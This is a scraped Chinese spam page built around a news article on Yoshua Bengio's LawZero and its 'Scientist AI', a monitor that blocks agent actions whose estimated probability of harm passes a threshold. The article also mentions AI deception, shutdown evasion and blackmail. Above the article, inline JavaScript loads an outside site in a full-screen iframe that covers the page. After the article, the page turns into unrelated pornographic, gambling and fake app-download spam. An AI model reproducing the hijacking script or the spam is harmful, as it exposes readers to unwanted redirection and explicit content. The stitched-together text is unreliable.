首页 ›吃瓜爆料›内容详情

婴童产业网:24小时吃瓜黑料不打烊-黑料吃瓜精品-“AI教父”本吉奥宣布开发“科学家AI”系统，防范智能体欺骗人类

alan 吃瓜爆料 2025-06-04 1 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

6月3日，著名计算机科学家、AI“教父”约书亚·本吉奥（Yoshua Bengio）宣布发起非营利组织LawZero，致力于开发“诚信”人工智能系统。该组织计划打造一套AI防护机制，防范试图欺骗人类的AI智能体。

本吉奥将担任LawZero组织的主席。他以约3000万美元启动资金和十几名研究人员为基础，正在开发名为“科学家AI”（Scientist AI）的系统。该系统将作为安全防护机制，防止AI智能体表现出欺骗或自我保护的行为，比如试图避免被关闭。“至关重要的是，作为护栏的AI至少要与它试图监管和控制的AI智能体一样智能。”

约书亚·本吉奥

不会给出确定答案，而是提供答案正确性的概率

AI智能体可在无需人类干预的情况下执行任务。本吉奥将当前的AI智能体称为试图模仿人类并取悦用户的“演员”，而“科学家AI”系统更像是一位能够理解和预测不良行为的“心理学家”，既可以加速科学发现，又可以防范AI智能体的风险。

“我们希望构建诚实且不具有欺骗性的人工智能。”本吉奥说，“理论上可以设想没有自我、没有目标、纯粹作为知识载体的机器，就像一个知道很多东西的科学家。”

但和当前生成式AI工具不同的是，“科学家AI”系统不会给出确定性的答案，而是提供答案正确性的概率。“它有一种谦逊感，知道自己不确定答案是否正确。”

该系统与AI智能体协同部署时，将通过评估自主系统行为造成伤害的概率，标记潜在有害行为。如果概率超过一定阈值，那么智能体提出的行动将被阻止。

本吉奥说，LawZero的第一步是证明概念背后的方法论是有效的，并说服企业或政府支持更强大版本的开发。开源人工智能模型将成为训练LawZero系统的起点。“关键是要证明这种方法论有效，从而说服捐赠者、政府或AI实验室投入资源，以与当前前沿AI同等的规模进行训练。至关重要的是，作为护栏的AI至少要与它试图监管和控制的AI智能体一样智能。”

LawZero最初的支持者包括人工智能安全机构生命未来研究所（Future of Life Institute）、Skype创始工程师雅恩·塔林（Jaan Tallinn）以及谷歌前首席执行官埃里克·施密特（Eric Schmidt）创立的研究机构施密特科学（Schmidt Sciences）。

AI学会欺骗误导、试图逃避关闭、隐藏真实能力

本吉奥是蒙特利尔大学教授，也是人工智能安全领域的领军人物。

他曾与杰弗里·辛顿（Geoffrey Hinton）、Meta首席AI科学家杨立昆（Yann LeCun）共同获得2018年图灵奖，还主持了《国际人工智能安全报告》。该报告警告称，如果自主智能体能够在没有人类监督的情况下完成更长的任务序列，它们可能会造成严重破坏。

本吉奥认为，人类不需要智能体系统来获得人工智能的回报，这样的系统有可能脱离人类的控制，带来不可逆转的后果。“如果我们研发出一种能够治愈癌症的AI，但也有可能这种AI的另一种版本变得失控，制造出一波又一波的生物武器，导致数十亿人死亡，那么我认为这是不值得的。”

2023年，本吉奥与OpenAI首席执行官山姆·奥特曼（Sam Altman）等人签署了一份声明，宣称“减轻AI带来的灭绝风险应该与流行病、核战争等其他风险一样，成为全球优先事项”。

过去几个月，人类目睹了人工智能系统学会误导、欺骗和试图逃避被关闭，甚至诉诸勒索。这些行为几乎都出自精心设计、近乎诱导AI行为不端的实验，例如要求其不惜一切代价实现目标。

但现实中这样的行为也已出现。最近，人工智能企业Anthropic承认其最新系统可能试图勒索要关闭它的工程师。本吉奥对此感到担忧。他还提到，研究表明，人工智能模型能够隐藏它们的真实能力和目标。这些例子表明，由于人工智能的推理能力越来越强，世界正走向“越来越危险的境地”。

本吉奥说，试图利用已知会催生欺骗倾向的技术构建人类水平的AI智能体，就像一辆汽车在狭窄的山路上疾驰，两侧是陡峭悬崖，前方被浓雾遮蔽，“我们需要为汽车装上前灯，并在路上安装一些护栏。”

本文地址：http://www.jiatingjiaoyuyanjiu.com/post/42759.html
版权声明：[免责声明]本文来源于网络，不代表本站立场，如转载内容涉及版权等问题，请联系邮箱:seo998@gmail.com，我们会予以删除相关文章，保证您的权利。

相关文章

热门文章

最近发表

首页 > > zzzxxxooo
好男人官网高清免费观看视频

竹菊网

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载APK 高速下载
下载JUY-568安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
看黄色视频网址0 激情综合网伊人久久1 管家婆4887王中王开奖记录2 91嫩草啊啊啊3 新加盟商4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 友田彩也香在线观看
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一，空姐系列精选珍藏版第一部，SHKD-590
二，f2dtg色/video/show/id/62809，久久365日
三，小川美，大桥未久手机高清电影
四，谷原希美手机在线视频，水野朝阳ebod
五，野外搞穴，美腿美脚富二代
六，葵司被公公上，色zmcc1ocm
七，萝莉日b，玖玖资源站365天稳定更新

【联系我们】
客服热线：139-8888-666
加载更多
版本更新
V1.22.17
扣逼自慰影院巴西比戈，黑色短裙还没脱就开干

韩国三级hd中文字幕久久精品

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 亚洲综合欧美日韩 4天前
    宫藤舞10musume系列
  • 淫秀模特视频 7天前
    久久资源365稳定
  • jav名女由馆 7天前
    超级美乳秀
  • 99zyzy1玖玖资源站 6天前
    神宫寺才中文字幕
  • 捆绑先锋 2天前
    xxlive苹果
  • llgbk1色/ 4天前
    家居夫妻自拍
  • 变态母乳圆田诗织在线 5天前
    韩国女孩被日本男儿
  • 儿子忍不住中文字幕 4天前
    母乳资源
  • 国产97免费自拍康先生 4天前
    ofku
  • 樱井知香人间国宝在线视频播放 9天前
    nyg10色
中文字幕憋尿
鸡屄 -安卓手机网上最贴心的Android软件应用平台! 版权归本站所有